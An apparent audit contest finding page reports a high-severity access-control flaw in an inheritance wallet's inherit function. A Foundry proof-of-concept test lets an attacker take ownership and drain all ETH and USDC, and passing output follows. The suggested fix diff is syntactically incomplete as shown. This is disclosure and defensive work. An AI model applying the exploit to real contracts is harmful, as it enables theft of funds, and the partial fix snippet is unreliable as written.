Inheritable Smart Contract Wallet
First Flight #35
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Any user can take control of the contract in `InheritanceManager::inherit`

jfornells

Description:
The InheritanceManager::inherit function allows any user to become the owner if there is exactly one registered beneficiary. This is due to the lack of verification ensuring that msg.sender is actually the designated beneficiary for recovery.

When the owner adds their second wallet as the sole beneficiary, an attacker can call InheritanceManager::inherit after the inactivity period and take control of the contract.

Once the attacker becomes the owner, they can modify beneficiaries[] and add their own address or multiple addresses under their control, ensuring that beneficiaries.length > 1 and blocking future owner and legitimate inheritance claims.

Impact:
This vulnerability leads to the total and irreversible loss of control over the contract and its assets. Once exploited, the rightful owner and beneficiaries are permanently locked out, losing access to their inheritance. The attacker gains full authority over the contract, allowing them to manipulate the list of beneficiaries, block future claims, and redirect all funds to wallets under their control. This effectively turns the inheritance mechanism into an attack vector, breaking the contract’s intended logic and resulting in catastrophic financial loss.

function test_attackerBecomesOwner() public {
// Define the emergency recovery wallet and the attackers' wallets
address emergencyWallet = makeAddr("emergencyWallet");
address attacker = makeAddr("attacker");
address attacker2 = makeAddr("attacker2");
​
// Define initial balances: 1,000,000 USDC and 1,000,000 ETH
uint256 usdcAmount = 1_000_000e6;
uint256 ethAmount = 1_000_000e18;
​
// Fund the InheritanceManager contract with USDC and ETH
deal(address(usdc), address(im), usdcAmount);
vm.deal(address(im), ethAmount);
​
// Ensure the InheritanceManager contract has the expected ETH balance
uint256 ethBalanceImBefore = address(im).balance;
assertEq(ethBalanceImBefore, ethAmount);
​
// Ensure the InheritanceManager contract has the expected USDC balance
uint256 usdcBalanceImBefore = usdc.balanceOf(address(im));
assertEq(usdcBalanceImBefore, usdcAmount);
​
// The owner adds the emergency wallet as the sole beneficiary
vm.prank(owner);
im.addBeneficiery(emergencyWallet);
​
// Simulate inactivity for 90 days
vm.warp(block.timestamp + 90 days);
​
// Attacker takes control of the contract by exploiting the inherit function
vm.startPrank(attacker);
im.inherit();
// Ensure the attacker is now the contract owner
assertEq(im.getOwner(), attacker);
​
// Attacker adds themselves and a second attacker as beneficiaries
// This ensures they control the contract and prevent others from claiming ownership
im.addBeneficiery(attacker);
im.addBeneficiery(attacker2);
​
// Simulate another 90 days of inactivity
vm.warp(block.timestamp + 90 days);
​
// Attacker executes `inherit()` again to confirm ownership
im.inherit();
​
// Remove the original emergency wallet from the beneficiaries
im.removeBeneficiary(emergencyWallet);
​
// Attacker withdraws all ETH from the contract
im.withdrawInheritedFunds(address(0));
​
// Get the updated balances after withdrawal
uint256 ethBalanceIM = address(im).balance;
uint256 ethBalanceAttacker = attacker.balance;
uint256 ethBalanceAttacker2 = attacker2.balance;
// Ensure the InheritanceManager contract is emptied of ETH
assertEq(ethBalanceIM, 0);
​
// Ensure both attackers share the ETH equally
assertEq(ethBalanceAttacker, ethAmount / 2);
assertEq(ethBalanceAttacker2, ethAmount / 2);
​
// Attacker withdraws all USDC from the contract
im.withdrawInheritedFunds(address(usdc));
​
// Get the updated USDC balances after withdrawal
uint256 usdcBalanceIM = usdc.balanceOf(address(im));
uint256 usdcBalanceAttacker = usdc.balanceOf(attacker);
uint256 usdcBalanceAttacker2 = usdc.balanceOf(attacker2);
// Ensure the InheritanceManager contract is emptied of USDC
assertEq(usdcBalanceIM, 0);
​
// Ensure both attackers share the USDC equally
assertEq(usdcBalanceAttacker, usdcAmount / 2);
assertEq(usdcBalanceAttacker2, usdcAmount / 2);
}
​
​
Ran 1 test for test/InheritanceManagerTest.t.sol:InheritanceManagerTest
[PASS] test_attackerBecomesOwner() (gas: 462852)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.60ms (2.63ms CPU time)
​

Tools Used

  • Manual review

  • Foundry for testing

Recommended Mitigation: Consider adding a check to ensure that msg.sender is the address located at the index 0 of the beneficiaries[] array, which should be the designated recovery wallet for the owner. This prevents unauthorized users from assuming ownership.

function inherit() external {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
+ address emergencyWallet = beneficiaries[0];
+ if (msg.sender != emergencyWallet) {
+ revert NotOwner(msg.sender);
+ }
owner = msg.sender;
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}
​
Updates

Lead Judging Commences

0xtimefliez Lead Judge 6 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Inherit depends on msg.sender so anyone can claim the contract

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.